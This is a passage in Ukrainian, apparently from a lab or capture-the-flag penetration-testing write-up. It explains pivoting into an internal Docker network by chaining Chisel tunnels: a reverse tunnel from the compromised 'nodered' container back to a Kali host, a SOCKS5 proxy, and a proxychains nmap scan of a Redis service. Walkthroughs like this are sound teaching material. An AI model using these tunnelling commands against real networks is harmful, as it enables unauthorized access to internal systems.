конфігурації всіх контейнерів (nodered, www, redis, backup);
прапор -privileged, з яким запущено контейнер backup ( рядок 38 ).

Відверто кажучи, задачу можна було б вирішити набагато простіше, оскільки Chisel підтримує SOCKS-проксі. Це означає, що не потрібно було вручну прокидати тунель для кожного порту. Хоча це корисно для навчальних цілей, щоб зрозуміти, як працює тунелювання, налаштування проксі-сервера значно спрощує життя пентестеру.
Однак є одна проблема: Chisel може запускати SOCKS-сервер лише в режимі chisel server, що означає необхідність розміщення Chisel на проміжному хості (наприклад, nodered), запуску його як сервера та підключення до цього сервера з Kali. Але це було неможливо зробити через обмеження мережевої доступності.
Проте є рішення: можна запустити Chisel поверх Chisel. У такому випадку перший Chisel буде діяти як сервер для backconnect до nodered, а другий — як сервер SOCKS-проксі в самому контейнері nodered. Тепер можна перевірити це на практиці.
root@kali:~/chisel# ./chisel server -v -reverse -p 8000
Насамперед, як завжди, запускаємо сервер на Kali, який дозволяє зворотні підключення.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8001:127.0.0.1:31337 &
Потім робимо зворотний прокид з nodered (порт 31337) на Kali (порт 8001). Тепер все, що потрапляє на Kali через localhost:8001, відправляється в nodered localhost:31337.
root@nodered:/tmp# ./chisel server -v -p 31337 --socks5
Наступним кроком запускаємо Chisel у режимі SOCKS-сервера на nodered – слухати порт 31337.
root@kali:~/chisel# ./chisel client 127.0.0.1:8001 1080:socks
root@kali:~# proxychains4 nmap -n -Pn -sT -sV -sC 172.19.0.3 -p6379 ... PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ...